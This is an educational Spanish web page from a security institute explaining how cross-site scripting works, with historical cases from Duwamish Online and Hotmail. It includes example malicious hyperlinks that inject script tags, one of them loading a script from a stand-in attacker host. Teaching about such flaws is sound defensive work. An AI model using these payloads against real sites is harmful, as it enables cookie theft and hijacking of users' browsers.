Instituto para la Seguridad en Internet

Instituto Seguridad Internet

Página de inicio

Buscar :: Cursos :: Quiénes somos :: Contacto

 Servicios

:: Cross-Site Scripting ::

Cross Site Scripting es el nombre que recibe una vulnerabilidad que afecta no tanto a los servidores como a los usuarios que navegan a páginas de Internet. La causa de la vulnerabilidad radica en la pobre verificación por parte de los sitios web de las cadenas de entrada enviadas por los usuarios a través de formularios, o directamente a través del URL. Estas cadenas, en el caso de ser maliciosas, podrían llegar a contener scripts completos. Cuando esta entrada se le muestra dinámicamente a un usuario dentro de una página web, en caso de contener un script, éste se ejecutará en el navegador del usuario dentro del contexto de seguridad de la página web visitada. Como consecuencia, podrá realizar en el ordenador del usuario todas las acciones que le sean permitidas a ese sitio web, como por ejemplo interceptar entradas del usuario víctima o leer sus cookies.

El mayor riesgo de este tipo de ataques es que la entrada maliciosa no la proporciona el mismo usuario que ve la página, sino un atacante, que consigue que el script se ejecute en el navegador del usuario. La víctima ejecuta el código de manera indirecta cuando confiadamente hace clic sobre un hiperenlace fraudulento, que puede estar presente en el sitio web del atacante, en un mensaje de correo electrónico o de un grupo de noticias, o en cualquier otro lugar que no levante sospechas. Debido a que en este caso la víctima es el visitante del sitio web y no el propio sitio, este tipo de vulnerabilidades no ha recibido la atención que se merece.

Por lo tanto, el cross site scripting funciona de la siguiente manera:

  1. El usuario sigue un enlace, que incluye codificada una cadena de entrada como argumento de entrada a algún parámetro de la página del sitio web.
  2. El sitio web no valida (o lo hace pobremente) la entrada anterior y genera dinámicamente una página HTML que incluye el código introducido en el hiperenlace por el atacante.
  3. Este código se ejecuta en el navegador de la víctima, con los mismos privilegios que cualquier otro código legítimo del mismo sitio web.

Un ejemplo de un hiperenlace malicioso tal sería:

<A HREF="http://www.instisec.com/comentarios.asp?texto='<SCRIPT>Código Malicioso</SCRIPT>'">Información sobre agujeros</A>

Cuando el usuario siga el enlace, el sitio www.instisec.com generará la página solicitada incluyendo el script, que se ejecutará en el navegador de la víctima.

El código podría incluso proceder de otro sitio web, ya que las vulnerabilidades de este tipo violan las políticas de los navegadores sobre mismo origen de fuente:

<A HREF="http://www.instisec.com/comentarios.asp?texto='<SCRIPT SRC=http://www.hackermalo.com/ataque.js></SCRIPT>'">Información sobre agujeros</A>

Un ejemplo real de una vulnerabilidad tal se debe a Microsoft, en su sitio Duwamish Online. Se trata de un sitio Web creado por MSDN y dedicado a enseñar a los desarrolladores y programadores cómo hacer páginas Web. En este caso, una página lee desde las variables de entrada los títulos de las secciones que presenta después en la cabecera de la página:

http://www.duwamishonline.com/category.asp?cat=books&PKId=829&PKName=Books&PKId=838&PKName=Microsoft%20debería%20corregir%20sus%20ejemplos

Un ejemplo reciente de este tipo de vulnerabilidad se debe a Hotmail, que no filtraba la entrada para el campo From. Si un usuario recibía un mensaje cuya dirección de correo del emisor había sido manipulada con código JavaScript, en la página HTML de su inbox se incluía el código malicioso. Ni siquiera hacía falta abrir el correo para que se ejecutase el código. Bastaba con acceder a la carpeta de entrada.

Información adicional

Política de privacidad :: Instalaciones :: Publicidad

© Instituto Seguridad Internet, 2001-2003. Todos los derechos reservados